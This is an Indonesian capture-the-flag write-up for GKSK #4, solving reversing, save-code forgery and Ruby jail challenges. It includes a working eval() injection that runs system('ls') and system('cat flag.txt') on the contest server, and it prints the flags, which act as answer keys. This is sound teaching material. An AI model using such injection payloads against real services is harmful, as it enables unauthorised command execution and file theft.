Writeup GKSK #4

---

bemrdo

Note: I'm using Hackintosh Mojave, so there are some different codes with Linux's terminal

LIST OF LYFE

JOY

Hack The Game v0.0.1

50 pts

I just tried to make a simple game, please help me to test it!

Author: Leonardo

Attachment : version001
POC :

Diberikan sebuah file binary ELF 64-bit

```
bemrdo at Mrs-MacBook-Pro in [~/CTF-2019/GKSK #4/Hack The Game v0.0.1]  on git:master ✗  8345d46 "GKSK#4"
21:45:47 › file version001.dms
version001.dms: ELF 64-bit LSB pie executable x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x
86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=0c921faea63f9a4c0026e1b5f0e5a2fc79b69998, not stripped
```

Ketika dijalankan pada terminal, program ini hanya mengeluarkan output dan kemudian exit

```
bemrdo at Mrs-MacBook-Pro in [~/CTF-2019/GKSK #4/Hack The Game v0.0.1]  on git:master ✗  8345d46 "GKSK#4"
21:45:51 › noah version001.dms
Please get a beta.test key from one of our developer to get access to beta test...
```

Dari output tersebut, saya meramal bahwa dilakukan compare string untuk mendapatkan flag, tapi ternyata ramalan saya gagal… File ini saya disassembly menggunakan IDAPro 64, terlihat bahwa file ini menggunakan bahasa C++ dengan kode yang sangat panjang ketika diubah menjadi pseudocode. Setelah menganalisis rangkaian kode yang seperti koran, saya menemukan sebuah function checkBetaTest(v3)

```
1  __int64 __usercall checkBetaTest@<rax>(unsigned int a1@<ebx>)
2  {
3    int v1; // eax@1
4    __int64 result; // rax@3
5    __int64 v3; // rcx@3
6    char v4; // [sp+Bh] [bp-2B5h]@1
7    int v5; // [sp+Ch] [bp-2B4h]@1
8    char v6; // [sp+10h] [bp-2B0h]@1
9    char v7; // [sp+30h] [bp-290h]@1
10   char v8; // [sp+50h] [bp-270h]@2
11   char v9; // [sp+70h] [bp-250h]@2
12   char v10; // [sp+90h] [bp-230h]@1
13   __int64 v11; // [sp+198h] [bp-128h]@1
14   __int64 v12; // [sp+2A8h] [bp-18h]@1
15
16   v12 = *MK_FP(__FS__, 40LL);
17   std::allocator<char>::allocator(&v4);
18   std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(
19     &v6,
20     "4re_Y0u_53ri0usly_checking_f0r_b3t4_t3sT?",
21     &v4);
22   std::allocator<char>::~allocator(&v4);
23   std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v7);
24   v5 = -1;
25   v1 = std::operator|(8LL, 16LL);
26   std::basic_fstream<char,std::char_traits<char>>::basic_fstream(&v10, "beta.test", v1);
27   if ( std::basic_ios<char,std::char_traits<char>>::operator bool(&v11) )
28   {
29     std::operator>><char,std::char_traits<char>,std::allocator<char>>(&v10, &v7);
30     std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v8, "GKSK{", &v6);
31     std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v9, &v8, "}");
32     v5 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::compare(&v7, &v
33     std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v9);
34     std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v8);
35   }
36   std::basic_fstream<char,std::char_traits<char>>::~basic_fstream(&v10);
37   LOBYTE(a1) = v5 == 0;
38   std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v7);
39   std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v6);
40   result = a1;
41   v3 = *MK_FP(__FS__, 40LL) ^ v12;
42   return result;
43 }
```

Memang terdapat compare string di dalam function tersebut antara v7 dengan v9, namun flag bisa saya dapatkan dengan menggabungkan beberapa string berikut

```
18  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(
19    &v6,
20    "4re_Y0u_53ri0usly_checking_f0r_b3t4_t3sT?",
21    &v4);
```

v6 = "4re_Y0u_53ri0usly_checking_f0r_b3t4_t3sT?"

```
30    std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v8, "GKSK{", &v6);
31    std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v9, &v8, "}");
```

v8 = "GKSK{" + v6

v9 = v8 + "}"

Sehingga didapatkan flag **GKSK{4re_Y0u_53ri0usly_checking_f0r_b3t4_t3sT?}**

Hack The Game v0.0.2

150 pts

nc 180.250.7.183 20202

The game is progessing quite nicely, now you can fight some monster.

And maybe if you level up enough you could defeat the Final Boss “The Flag Guardian”

Author: Leonardo

Hint 1 : Are you sure it's just regular base64?
Hint 2 : Do you realise you can save your progress when resting? Maybe try to make your own story from there...
Attachment : version002
POC :

Diberikan sebuah file binary ELF 64-bit, dari Namanya terlihat bahwa ini lanjutan dari Hack The Game v0.0.1

```
bemrdo at Mrs-MacBook-Pro in [~/CTF-2019/GKSK #4/Hack The Game v0.0.2]  on git:master ✗  8345d46 "GKSK#4"
22:23:16 › file version002.dms
version002.dms: ELF 64-bit LSB pie executable x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x
86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=02e4a9ca0776014a26e552f6592f1d1338bfee3e, with debug_info, not stripped
```

Ketika dijalankan, program meminta input berupa beta test code..

```
bemrdo at Mrs-MacBook-Pro in [~/CTF-2019/GKSK #4/Hack The Game v0.0.2]  on git:master ✗  8345d46 "GKSK#4"
22:23:27 › noah version002.dms
This game is still in closed beta
Please input your beta test code
>i dont know
Invalid code, exiting...
```

Oke next disassemble aja yaa…
Setelah ditelaah lebih dalam, setelah memasukkan beta test code, terdapat function check(&p_input) yg mengecheck input beta test code dengan code yang benar

```
1  bool __cdecl BetaTest::check(std::__cxx11::string *p_input)
2  {
3    bool v1; // bl@1
4    bool result; // al@1
5    __int64 v3; // rcx@1
6    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char> > __lhs; // [sp+10h] [bp-60h]@1
7    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char> > v5; // [sp+30h] [bp-40h]@1
8    __int64 v6; // [sp+58h] [bp-18h]@1
9
10   v6 = *MK_FP(__FS__, 40LL);
11   std::operator+<char,std::char_traits<char>,std::allocator<char>>(&__lhs, "GKSK{", &ZN8BetaTest8betaFlagB5cxx11E);
12   std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v5, &__lhs, "}");
13   v1 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::compare(p_input, &v5) == 0;
14   std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v5);
15   std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&__lhs);
16   result = v1;
17   v3 = *MK_FP(__FS__, 40LL) ^ v6;
18   return result;
19 }
```

Pada program terlihat bahwa input beta test code di compare dengan "GKSK{" + "GKSK{", &ZN8BetaTest8betaFlagB5cxx11E + "}". Dari nama variable itu saya menyimpulkan bahwa input beta test code merupakan flag dari challenge Hack The Game v0.0.1 yaitu GKSK{4re_Y0u_53ri0usly_checking_f0r_b3t4_t3sT?}

```
bemrdo at Mrs-MacBook-Pro in [~/CTF-2019/GKSK #4/Hack The Game v0.0.2]  on git:master ✗  8345d46 "GKSK#4"
22:24:47 › noah version002.dms
This game is still in closed beta
Please input your beta test code
>GKSK{4re_Y0u_53ri0usly_checking_f0r_b3t4_t3sT?}
Welcome back tester!
do you have your character backup code?
[y/N]
```

Setelah memasukan beta code test yang benar, terdapat pilihan untuk character backup… Jika dibaca dari program terdapat function loadFromCode(&p_input) apabila saya memasukan ‘y’ atau ‘Y’ pada pilihan tersebut.

Dalam function tersebut, terdapat proses base64 decode dari input yang masuk ke function. Kemudian hasil base64 decode di parsing dengan pattern "PlayerLevel=%d;PlayerExp=%d;PlayerHP=%d;PlayerAtk=%d;PlayerDef=%d;PlayerName=%15s"

```
1  Player *__cdecl Memory::loadFromCode(std::__cxx11::string *p_code)
2  {
3    const char *v1; // rax@1
4    Player *v2; // rbx@2
5    Player *v3; // rax@4
6    __int64 v4; // rcx@4
7    std::__cxx11::string v5; // [sp-10h] [bp-B0h]@0
8    char v6; // [sp+17h] [bp-89h]@1
9    int playerHP; // [sp+18h] [bp-88h]@1
10   int playerAtk; // [sp+1Ch] [bp-84h]@1
11   int playerDef; // [sp+20h] [bp-80h]@1
12   int playerLevel; // [sp+24h] [bp-7Ch]@1
13   int playerExp; // [sp+28h] [bp-78h]@1
14   int result; // [sp+2Ch] [bp-74h]@1
15   std::__cxx11::string playerTrueName; // [sp+30h] [bp-70h]@1
16   int playerMaxHP; // [sp+50h] [bp-50h]@1
17   _QWORD playerName[3]; // [sp+70h] [bp-30h]@1
18   __int64 v16; // [sp+88h] [bp-18h]@1
19
20   *(&v5._anon_0._M_allocated_capacity + 1) = p_code;
21   v16 = *MK_FP(__FS__, 40LL);
22   base64_decode(&playerMaxHP, p_code);
23   std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(p_code, &playerMaxHP);
24   std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&playerMaxHP);
25   playerName[0] = 0LL;
26   playerName[1] = 0LL;
27   playerHP = 0;
28   playerAtk = 0;
29   playerDef = 0;
30   playerLevel = 0;
31   playerExp = 0;
32   LODWORD(v1) = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(p_code);
33   result = sscanf(
34              v1,
35              "PlayerLevel=%d;PlayerExp=%d;PlayerHP=%d;PlayerAtk=%d;PlayerDef=%d;PlayerName=%15s",
36              &playerLevel,
37              &playerExp,
38              &playerHP,
39              &playerAtk,
40              &playerDef,
41              playerName);
```

Jadi saya buatkan pattern tersebut sesuai keinginan saya dan kemudian di encode dengan base64

```
bemrdo at Mrs-MacBook-Pro.local in [~/CTF-2019/GKSK #4/Hack The Game v0.0.2]  on git:master ✗  8345d46 "GKSK#4"
22:58:58 › cat load.py
from base64 import *

code = "PlayerLevel=1;PlayerExp=1;PlayerHP=100;PlayerAtk=987654321;PlayerDef=987654321;PlayerName=ar"
enhace =  b64encode(code)

print enhace
bemrdo at Mrs-MacBook-Pro.local in [~/CTF-2019/GKSK #4/Hack The Game v0.0.2]  on git:master ✗  8345d46 "GKSK#4"
22:59:43 › python load.py
UGxheWVyTGV2ZWw9MTtQbGF5ZXJFeHA9MTtQbGF5ZXJIUD0xMDA7UGxheWVyQXRrPTk4NzY1NDMyMTtQbGF5ZXJEZWY9OTg3NjU0MzIxO1BsYXllck5hbWU9YXI=
```

Kemudian saya coba masukan pada program

```
bemrdo at Mrs-MacBook-Pro.local in [~/CTF-2019/GKSK #4/Hack The Game v0.0.2]  on git:master x  8345d46 "GKSK#4"
23:02:28 › noah version002.dms
This game is still in closed beta
Please input your beta test code
>GKSK{4re_Y0u_53ri0usly_checking_f0r_b3t4_t3sT?}
Welcome back tester!
do you have your character backup code?
[y/N] y
Please input your backup code
> UGxheWVyTGV2ZWw9MTtQbGF5ZXJFeHA9MTtQbGF5ZXJIUD0xMDA7UGxheWVyQXRrPTk4NzY1NDMyMTtQbGF5ZXJEZWY9OTg3NjU0MzIxO1BsYXllck5hbWU9YXI=
====== HackTheGame v0.0.2 (Closed Beta) =====
[1] Character Info
[2] Hunt Monster
[3] Fight Boss
[4] Rest
[9] Credits
[0] Exit
>1
Name: ar
  Lvl: 1
    Experience: 1
    to LevelUp: 0
  HP : 100/100
  Atk: 987654321
  Def: 987654321
```

Ok, sesuai keinginan… langsung saja saya lawan Boss pada game ini

```
====== HackTheGame v0.0.2 (Closed Beta) =====
[1] Character Info
[2] Hunt Monster
[3] Fight Boss
[4] Rest
[9] Credits
[0] Exit
>3
You are gonna fight the final boss:
Name: Flag Guardian
  HP  : 987654321/987654321
  Atk : 123456789
  Def : 123456789
  Drop: 0
Are you sure? [Y/n]
> y
 ===== BATTLE INFO =====
ar Lv.1:
  HP  : 100/100
  Atk : 987654321
  Def : 987654321
          VS
Flag Guardian
  HP  : 987654321/987654321
  Atk : 123456789
  Def : 123456789
  Drop: 0

 ===== BATTLE START =====
ar attacked Flag Guardian!
Flag Guardian got hit by 864197532 points!
Flag Guardian attacked ar!
ar blocked the attack!
ar attacked Flag Guardian!
Flag Guardian got hit by 864197532 points!
YOU WIN !!!
Got 0 points of experience.
You leveled up!
Something went wrong on the server
Please contact the administrator...
```

Aahhhsiiyyaappp… pesan di akhir muncul karena program tidak menemukan file flag.txt, seperti yang dijelaskan pada function Print()

```
void __cdecl Flag::Print()
{
  __int64 v0; // rax@2
  __int64 v1; // rax@3
  __int64 v2; // rax@3

  if ( Flag::Load() )
  {
    LODWORD(v0) = std::operator<<<char,std::char_traits<char>,std::allocator<char>>(&std::cout, &ZN4Flag4flagB5cxx11E);
    std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  }
  else
  {
    LODWORD(v1) = std::operator<<<std::char_traits<char>>(&std::cout, "Something went wrong on the server\n");
    LODWORD(v2) = std::operator<<<std::char_traits<char>>(v1, "Please contact the administrator...\n");
    std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
  }
}
```

Langsung aja dicoba ke server yang diberikan… Tapi sebuah bencana terjadi :(

Backup code yang dimasukkan dikatakan invalid, saya jadi sedih… kemudian saya memutuskan untuk bermain jujur dengan membuat akun baru pada game tersebut. Sesuatu muncul ketika saya memilih menu [4] Rest pada game (setelah lelah bermain jujur), game memunculkan semacam kode yang sudah di encode dengan base64…

```
====== HackTheGame v0.0.2 (Closed Beta) =====
[1] Character Info
[2] Hunt Monster
[3] Fight Boss
[4] Rest
[9] Credits
[0] Exit
>4
You take a rest at nearby Inn...
You wrote your journey to a diary in some cryptic language...
ugXHEwvYtgv2zwW9mtTqBgf5zxjfEha9mdTqBgf5zxjiud0Xmda7ugXHEwvYqxrRpteWo1bSyxLLCKrLzJ01o1bSyxLLCK5HBwu9yxi=
You woke up feeling resfreshed...
```

Terlihat mirip seperti backup code yang sebelumnya saya buat, hanya saja terdapat penukaran huruf kapital dengan huruf kecil dan juga sebaliknya. Saya kemudian membuat backup code baru dengan penukaran huruf capital dan huruf kecil tersebut.

```
bemrdo at Mrs-MacBook-Pro.local in [~/CTF-2019/GKSK #4/Hack The Game v0.0.2]  on git:master ✗  8345d46 "GKSK#4"
23:29:00 › cat key.py
"nc 180.250.7.183 20202"
key = "GKSK{4re_Y0u_53ri0usly_checking_f0r_b3t4_t3sT?}"
import string
from base64 import *

code = "PlayerLevel=1;PlayerExp=1;PlayerHP=100;PlayerAtk=987654321;PlayerDef=987654321;PlayerName=ar"
enhace =  b64encode(code)

text = "abcdefghijklmnopqrstuvwxyz"

rest = "ugXHEwvYtgv2zwW9mtTqBgf5zxjfEha9mdTqBgf5zxjiud0Xmda7ugXHEwvYqxrRpteWo1bSyxLLCKrLzJ01o1bSyxLLCK5HBwu9yxi="

reveal = ''
for i in enhace:
    if i in text.upper():
        reveal += i.lower()
    elif i in text.lower():
        reveal += i.upper()
    else:
        reveal += i

print reveal
bemrdo at Mrs-MacBook-Pro.local in [~/CTF-2019/GKSK #4/Hack The Game v0.0.2]  on git:master ✗  8345d46 "GKSK#4"
23:29:09 › python key.py
ugXHEwvYtgv2zwW9mtTqBgf5zxjfEha9mtTqBgf5zxjiud0Xmda7ugXHEwvYqxrRptK4nZy1ndmYmtTqBgf5zxjezwy9otG3nJu0mZiXo1bSyxLLCK5HBwu9yxi=
```

Kembali bermain curang… Ternyata backup code yang baru bias digunakan pada server

```
bemrdo at Mrs-MacBook-Pro.local in [~]  on git:master ✗
14:28:50 › nc 180.250.7.183 20202
This game is still in closed beta
Please input your beta test code
>GKSK{4re_Y0u_53ri0usly_checking_f0r_b3t4_t3sT?}
Welcome back tester!
do you have your character backup code?
[y/N] y
Please input your backup code
> ugXHEwvYtgv2zwW9mtTqBgf5zxjfEha9mtTqBgf5zxjiud0Xmda7ugXHEwvYqxrRptK4nZy1ndmYmtTqBgf5zxjezwy9otG3nJu0mZiXo1bSyxLLCK5HBwu9yxi=
====== HackTheGame v0.0.2 (Closed Beta) =====
[1] Character Info
[2] Hunt Monster
[3] Fight Boss
[4] Rest
[9] Credits
[0] Exit
>1
Name: ar
  Lvl: 1
    Experience: 1
    to LevelUp: 0
  HP : 100/100
  Atk: 987654321
  Def: 987654321
====== HackTheGame v0.0.2 (Closed Beta) =====
[1] Character Info
[2] Hunt Monster
[3] Fight Boss
[4] Rest
[9] Credits
[0] Exit
>3
You are gonna fight the final boss:
Name: Flag Guardian
  HP  : 987654321/987654321
  Atk : 123456789
  Def : 123456789
  Drop: 0
Are you sure? [Y/n]
> y
 ===== BATTLE INFO =====
ar Lv.1:
  HP  : 100/100
  Atk : 987654321
  Def : 987654321
          VS
Flag Guardian
  HP  : 987654321/987654321
  Atk : 123456789
  Def : 123456789
  Drop: 0

 ===== BATTLE START =====
ar attacked Flag Guardian!
Flag Guardian got hit by 864197532 points!
Flag Guardian attacked ar!
ar blocked the attack!
ar attacked Flag Guardian!
Flag Guardian got hit by 864197532 points!
YOU WIN !!!
Got 0 points of experience.
You leveled up!
GKSK{H0w_d1d_I_n0t_real1ze_such_4_s7up1d_m1sT4k3}
```

Setelah mengalahkan Flag Guardian, dapatlah flagnya

GKSK{H0w_d1d_I_n0t_real1ze_such_4_s7up1d_m1sT4k3}

JAIL

Counting

75 pts

Counting!! Counting!! 1,2,3 to 3,2,1 yeeaaayy!1!1

nc 180.250.7.183 13337

Author: **SilentMary**

Hint : no ls and cat allowed on my Ruby stone
Attachment : counting.rb
POC :

Diberikan source code ruby seperti berikut

```
bemrdo at Mrs-MacBook-Pro in [~/CTF-2019/GKSK #4/Counting]  on git:master ✗  8345d46 "GKSK#4"
0:08:41 › cat counting.rb
def main
        full = ''

        puts "I can counting all number you input backwards"
        puts "Dont believe me?? OK lets try out"
        3.times do |i|
                print "Input the number please : "
                number = gets.chomp

                if number.include? "sl" or number.include? "tac" or number.include? "metsys" or number.include? "sys" or
number.include? "met" or number.include? "*" or number.include? "dnif" or number.include? "tsy"
                        abort "eeyy dude what are you doing? why you input something like that??"
                else
                        full += number
                end

        end

        full.reverse!
        puts eval(full)
end

print <<-'BANNER'

 ______  ______          _      _________________ _       ______
(  ___ \(  __  )|\     /|( (    /|\__   __/\__   __/( (    /|(  ___ \
| (   \/| (  ) || )   ( ||  \  ( |   ) (      ) (   |  \  ( || (   \/
| |      | |  | || |   | ||   \ | |   | |      | |   |   \ | || |
| |      | |  | || |   | || (\ \) |   | |      | |   | (\ \) || | ____
| |      | |  | || |   | || | \   |   | |      | |   | | \   || | \_  )
| (____/\| (__) || (___) || )  \  |   | |   ___) (___| )  \  || (___) |
(______/(______)(_______)|/    )_)   )_(   \_____/|/    )_)(______)

by SilentMary



BANNER

if __FILE__ == $0
        $stdout.sync = true
        $stdout.sync = true
        main
end
```

Target saya adalah syntax puts eval(full), function eval() dapat digunakan untuk memproses argument apapun menjadi syntax aktif (case in ruby). Sehingga saya dapat menggunakan system('ls') dan system('cat <filename>') untuk mendapatkan flag. Namun kendalanya terdapat filter pada program sehingga input yang saya inginkan tidak bisa dijalankan.

Cara yang saya gunakan adalah dengan memecah setiap karakter dari input menjadi bentuk desimalnya yang kemudian diubah kembali dalam function eval() menjadi string. Tapi untuk membuat string tersebut aktif maka diperlukan eval() lagi yang berjalan dalam fungsi eval(). Saya membuat input dengan program python seperti berikut

```
bemrdo at Mrs-MacBook-Pro in [~/CTF-2019/GKSK #4/Counting]  on git:master ✗  8345d46 "GKSK#4"
0:30:02 › cat solver.py
d1 = "system('ls')"
d2 = "system('cat flag.txt')"

key = ''
key += ''.join(str(ord(i)) + ".chr+" for i in d1)
key = "eval(" + key[:-1] + ")"
print d1 + " >> " + key[::-1]

key = ''
key += ''.join(str(ord(i)) + ".chr+" for i in d2)
key = "eval(" + key[:-1] + ")"
print d2 + " >> " + key[::-1]
bemrdo at Mrs-MacBook-Pro in [~/CTF-2019/GKSK #4/Counting]  on git:master ✗  8345d46 "GKSK#4"
0:30:06 › python solver.py
system('ls') >> )rhc.14+rhc.93+rhc.511+rhc.801+rhc.93+rhc.04+rhc.901+rhc.101+rhc.611+rhc.511+rhc.121+rhc.511(lave
system('cat flag.txt') >> )rhc.14+rhc.93+rhc.611+rhc.021+rhc.611+rhc.64+rhc.301+rhc.79+rhc.801+rhc.201+rhc.23+rhc.611+rhc
.79+rhc.99+rhc.93+rhc.04+rhc.901+rhc.101+rhc.611+rhc.511+rhc.121+rhc.511(lave
```

Pertama masukkan input untuk system('ls') yaitu
)rhc.14+rhc.93+rhc.511+rhc.801+rhc.93+rhc.04+rhc.901+rhc.101+rhc.611+rhc.511+rhc.121+rhc.511(lave
Kemudian tekan tombol Enter 2 kali (input kosong)

Ternyata terdapat file flag.txt yang sepertinya menyimpan flag.. Selanjutnya jalankan lagi counting.rb dan masukkan input untuk system('cat flag.txt') yaitu
)rhc.14+rhc.93+rhc.611+rhc.021+rhc.611+rhc.64+rhc.301+rhc.79+rhc.801+rhc.201+rhc.23+rhc.611+rhc.79+rhc.99+rhc.93+rhc.04+rhc.901+rhc.101+rhc.611+rhc.511+rhc.121+rhc.511(lave
Kemudian tekan tombol Enter 2 kali

```
14:08:25 › nc 180.250.7.183 13337


 ______  ______          _     ________________ _      ______
(  ____ \(  ___  )|\     /|( (    /|\__   __/\__   __/( (    /|(  ____ \
| (    \/| (   ) || )   ( ||  \  ( |   ) (      ) (   |  \  ( || (    \/
| |      | |   | || |   | ||   \ | |   | |      | |   |   \ | || |
| |      | |   | || |   | || (\ \) |   | |      | |   | (\ \) || | ____
| |      | |   | || |   | || | \   |   | |      | |   | | \   || | \_  )
| (____/\| (___) || (___) || )  \  |   | |   ___) (___| )  \  || (___) |
(_______/(_______)(_______)|/    )_)   )_(   \_____/|/    )_)(_______)

by SilentMary



I can counting all number you input backwards
Dont believe me?? OK lets try out
Input the number please : )rhc.14+rhc.93+rhc.611+rhc.021+rhc.611+rhc.64+rhc.301+rhc.79+rhc.801+rhc.201+rhc.23+rhc.611+rhc.79+rhc.99+rhc
.93+rhc.04+rhc.901+rhc.101+rhc.611+rhc.511+rhc.121+rhc.511(lave
Input the number please :
Input the number please :
GKSK{R_4_r3VersE_E_4_3v4L}
true
```

Ternyata memang ada flagnya **GKSK{R_4_r3VersE_E_4_3v4L}**

REVERSE ENGINEERING

Decimal 1.0

50 pts

Si Jono mendapatkan sebuah pesan singkat dari orang yang tak di kenal, tetapi pesan tersebut membutuhkan **Key Yang Benar** untuk dapat membacanya, bisakan kalian membantunya??

Author: **Wayan**

Attachment : Decimal_1.0
POC :

Diberikan file ELF 64-bit

```
bemrdo at Mrs-MacBook-Pro in [~/CTF-2019/GKSK #4/Decimal 1.0]  on git:master ✗  8345d46 "GKSK#4"
0:51:05 › file Decimal_1.0
Decimal_1.0: ELF 64-bit LSB shared object x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-6
4.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=47a454a4635539697dd6c12687dcadbfcc23f7d1, not stripped
```

Oke langsung aja pake IDAPro… Setelah menyusuri kode demi kode, akhirnya sauya menemukan ide dari program ini. Program ini akan meminta key sepanjang 6 karakter yang akan di check dengan key yang telah dimodifikasi. Jika semua karakter key benar maka array geser[] diisi dengan nilai 5 pada index 0 hingga 5, nilai index inilah yang digunakan untuk menambah nilai ascii dari sebuah string "BFNFv@/nTZ@0.FZ.n@fZ?.>,h/Gx" sehingga string tersebut akan menjadi flag

```
35  if ( v13 != 6 )
36  {
37    if ( v13 <= 5 )
38    {
39      std::operator<<<std::char_traits<char>>(&std::cout, "Key nya Kurang Mamank\n");
40      exit(0);
41    }
42    std::operator<<<std::char_traits<char>>(&std::cout, "Key nya Berlebihan Mamank\n");
43    exit(0);
44  }
45  for ( i = 0; i < v13; ++i )
46  {
47    if ( dest[i] == *(&"@&c8B&" + i) + 10 )
48      geser[i] = 5;
49    else
50      geser[i] = rand() % 10 + 1;
51  }
52  std::operator<<<std::char_traits<char>>(&std::cout, "Your Flag Is : ");
53  for ( j = 0; j <= 27; ++j )
54  {
55    v9 = *(&"BFNFv@/nTZ@0.FZ.n@fZ?.>,h/Gx" + j) + geser[v12];
56    std::operator<<<std::char_traits<char>>(&std::cout, v9);
57    if ( v12 == 5 )
58      v12 = 0;
59    ++v12;
60  }
```

Kemudian saya membuat program python yang langsung merubah string tersebut menjadi flag

```
bemrdo at Mrs-MacBook-Pro in [~/CTF-2019/GKSK #4/Decimal 1.0]  on git:master ✗  8345d46 "GKSK#4"
1:05:30 › cat solver.py
d = "BFNFv@/nTZ@0.FZ.n@fZ?.>,h/Gx"

flag = ''
for i in d:
    flag += chr(ord(i) + 5)

print flag
bemrdo at Mrs-MacBook-Pro in [~/CTF-2019/GKSK #4/Decimal 1.0]  on git:master ✗  8345d46 "GKSK#4"
1:05:33 › python solver.py
GKSK{E4sY_E53K_3sEk_D3C1m4L}
```

Cara lainnya bisa dengan mencari key yang sesuai, pada program ini key yang digunakan adalah string dari hasil penambahan nilai ascii dari string "@&c8B&" senilai 10, sehingga menjadi seperti berikut

```
In [1]: key = "@&c8B&"

In [2]: print ''.join(chr(ord(x) + 10) for x in key)
J0mBL0
```

Kemudian tinggal jalankan program dan masukkan key nya

```
bemrdo at Mrs-MacBook-Pro in [~/CTF-2019/GKSK #4/Decimal 1.0]  on git:master x  8345d46 "GKSK#4"
1:16:50 › noah Decimal_1.0
Input The True Key To Get The True Flag : J0mBL0
Your Flag Is : GKSK{E4sY_E53K_3sEk_D3C1m4L}
```

Flagnya esek esek banget **GKSK{E4sY_E53K_3sEk_D3C1m4L}**

Serial Code

50 pts

Si Cantique diberikan misi untuk memecahkan sebuah serial code sehingga ia bisa mendapatkan flagnya. Bisakah kamu membantu memecahkannya?

Akses ke:

- **nc 180.250.7.183 13369**
- **nc 103.200.7.150 13368**

Author: **bad_girl,** .

Attachment : reverse.py
POC :

Diberikan python code yang sangat panjang… mari bahas pelan-pelan :v

Ketika menjalankan program ini, maka akan langsung masuk ke fungsi main(). Dalam fungsi ini terdapat menu Get Flag yang menjadi incaran saya, namun sebelum itu saya harus mengaktivasi code nya pada menu Enter Activation Code. Jika code sudah diaktivasi maka bisa menggunakan menu Get Flag

```
def main():
        while True :
                print("1. Get Flag")
                print("2. Enter Activation Code")
                print("3. Exit")

                pilih = int(input("Input :"))
                if pilih == 1:
                        if getFlag :
                                print(flag)
                        else:
                                print("Enter Activation Code First Bro!")
                elif pilih == 2:
                        inp = input("Enter Activation Code :")
                        valid_code = validator(inp)
                        if valid_code :
                                activator(inp)
                elif pilih == 3:
                        print("GoodBye! <3")
                        exit()
                else:
                        print("Error!")
                        exit()

if __name__=='__main__':
        main()
```

Pada menu Enter Activation Code, terdapat 2 segment yaitu validator(key) dan activator(key). validator(key) hanya mengecheck format key yang diinputkan, jika sudah benar maka masuk ke fungsi activator(key)

```
def validator(key):
        valid = key.split("-")
        checkstrip = [4,9,14]
        checkcode = 0

        for val in valid:
                if len(val) == 4:
                        checkcode += 1

        for strip in checkstrip:
                if key[strip] == "-":
                        checkcode += 1

        if checkcode == 7:
                return True
        else:
                print("Serial isn't valid!")
                return False
```

Pada fungsi activator(key), setiap karakter key di check agar sesuai kondisi yang terdapat pada program. Sebenarnya bias menggunakan z3-solver untuk mencari key, berhubung key tidak terlalu Panjang dan masih lebih cepat berpikir daripada berpikir + ngetik. Saya memutuskan hitung manual, hehehe…

Key dibagi menjadi 4 bagian (dipisahkan tanda '-') yang mana setiap bagian terdiri dari 4 karakter check_1. Nilai setiap karakter jika di mod 2 menghasilkan 0. Langsung saja semua karakter bernilai 0. Diperlukan 4 kali benar dalam kondisi ini

0000

```
        for i in valid[0]:
                if int(i)%2 == 0:
                        check_1 += 1
```

check_2. Nilai dari bagian ini (4 karakter) di convert menjadi sebuah integer dengan kondisi berikut. Jika di looping dari nilai 2 hingga nilai integer-1, maka integer di mod dengan nilai looping tersebut harus tidak sama dengan 0. Diperlukan 1 kali benar dalam kondisi ini

0003

```
        if int(valid[1]) > 1:
                for i in range(2,int(valid[1])):
                        if int(valid[1])%i == 0:
                                break
                        else:
                                check_2 = 1
```

check_3. Nilai dari bagian ini di convert menjadi sebuah integer dengna kondisi jika integer di mod 4 harus bernilai 0. Diperlukan 1 kali benar dalam kondisi ini

0000 atau 0004

```
        if int(valid[2])%4 == 0:
                check_3 = 1
```

check_4. Setiap karakter harus bernilai ascii dari 71, 75, 83, 75. Diperlukan 1 kali benar dalam kondisi ini

GKSK

```
        if valid[3] == "".join(map(chr, [71,75,83,75])):
                check_4 = 1
```

Jika semua kondisi benar, maka serial key di aktivasi

```
        if check_1 == 4 and check_2 == 1 and check_3 == 1 and check_4 == 1:
                getFlag = True
                print("Serial is successfully activated! :)")
```

Key : 0000-0003-0004-GKSK

Tinggal masukkan pada server yang disediakan dan pilih menu Get Flag

```
bemrdo at Mrs-MacBook-Pro.local in [~]  on git:master ✗
14:12:40 › nc 180.250.7.183 13369
1. Get Flag
2. Enter Activation Code
3. Exit
Input :2
Enter Activation Code :0000-0003-0004-GKSK
Serial is successfully activated! :)
1. Get Flag
2. Enter Activation Code
3. Exit
Input :1
GKSK{b4D_c0D3_M0rE_eA5i3r}
1. Get Flag
2. Enter Activation Code
3. Exit
Input :
```

Nice code flagnya **GKSK{b4D_c0D3_M0rE_eA5i3r}**

Decimal 2.0

75 pts

Si Jono kembali mendapatkan sebuah pesan singkat dari orang yang tak di kenal, tetapi pesan tersebut membutuhkan **Key Yang Benar** untuk dapat membacanya, bisakan kalian membantunya Lagi??

Author: **Wayan**

Hint : sepertinya beberapa Decimal sudah di geser
Attachment : Decimal_2.0
POC :
